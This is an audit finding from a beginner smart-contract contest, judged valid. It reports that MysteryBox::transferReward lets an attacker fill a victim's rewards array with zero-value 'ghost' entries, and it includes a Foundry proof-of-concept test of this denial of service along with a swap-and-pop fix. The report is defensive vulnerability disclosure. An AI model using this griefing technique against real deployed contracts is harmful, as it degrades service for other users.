Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Potential Denial of Service via Unlimited Reward Transfers in MysteryBox::transferReward

Summary

The transferReward function allows an attacker to transfer rewards indefinitely, filling the rewardsOwned array of a victim with default or "ghost" rewards. This could potentially lead to a Denial of Service (DoS) if future functions iterate over this array or depend on its size for processing.

Vulnerability Details

The delete keyword in Solidity sets the value of the element to its default value, which does not remove the item from the array but sets it to a zero value. Over time, this can lead to the accumulation of "ghost" rewards in the victim's rewardsOwned array.

There is no limit to how many times transferReward can be called. An attacker could repeatedly transfer rewards to the victim, bloating the array with zero-value elements. This could impact future contract functionality or degrade performance if any iteration or size-based operations are introduced.

Proof of Concept (PoC)

This test demonstrates how an attacker can exploit the transferReward function to perform a Denial of Service attack by filling the victim's rewardsOwned array with zero-value rewards.

function testDoSAttackBoxes() public {
address victim = user1;
uint256 totalBoxes = 1;
uint256 ghostBoxes = 100; // Number of rewards to transfer to victim (DoS attack simulation)
// Fund user2 with enough ETH to buy the boxes
vm.deal(user2, 1 ether);
vm.startPrank(user2); // Start acting as user2
// User2 buys the specified number of boxes
for (uint256 i = 0; i < totalBoxes; i++) {
mysteryBox.buyBox{value: 0.1 ether}(); // User2 buys a box
}
// User2 opens all the boxes
for (uint256 i = 0; i < totalBoxes; i++) {
vm.warp(block.timestamp + i); // Move forward in time to change block.timestamp
vm.roll(block.number + i); // Change block.number for randomness
mysteryBox.openBox(); // User2 opens the box
}
// Simulate the attack: transfer rewards from user2 to the victim multiple times
for (uint256 i = 0; i < ghostBoxes; i++) {
mysteryBox.transferReward(victim, 0); // Always transfer the first reward (index 0) as the array shrinks
}
vm.stopPrank(); // End acting as user2
// Check the rewards owned by the victim after the transfers
vm.prank(victim);
MysteryBox.Reward[] memory victimRewards = mysteryBox.getRewards();
console2.log("Victim rewards length:", victimRewards.length);
// Assert that the victim has received the exact number of ghostBoxes
assertEq(victimRewards.length, ghostBoxes);
}

Impact

  • Medium/High Impact: An attacker could potentially perform a DoS attack by filling the victim's rewardsOwned array with zero-value rewards. If future functions iterate over this array, it would degrade the performance or even cause the contract to run out of gas.

Tools Used

  • Manual code review.

  • Foundry testing framework.

Recommendations

  1. Limit the number of transfers: Set a maximum limit on the size of the rewardsOwned array or restrict how many times a user can call transferReward in a certain period.

  2. Properly remove rewards: Use array resizing instead of delete to prevent the accumulation of "ghost" rewards in the array. Replace the element being deleted with the last element and reduce the array size:

function transferReward(address _to, uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);
// Move the last element to the deleted spot
rewardsOwned[msg.sender][_index] = rewardsOwned[msg.sender][rewardsOwned[msg.sender].length - 1];
rewardsOwned[msg.sender].pop(); // Remove the last element
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

A user can poison the `rewardsOwned` of another user via `transferReward` of an empty reward index

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!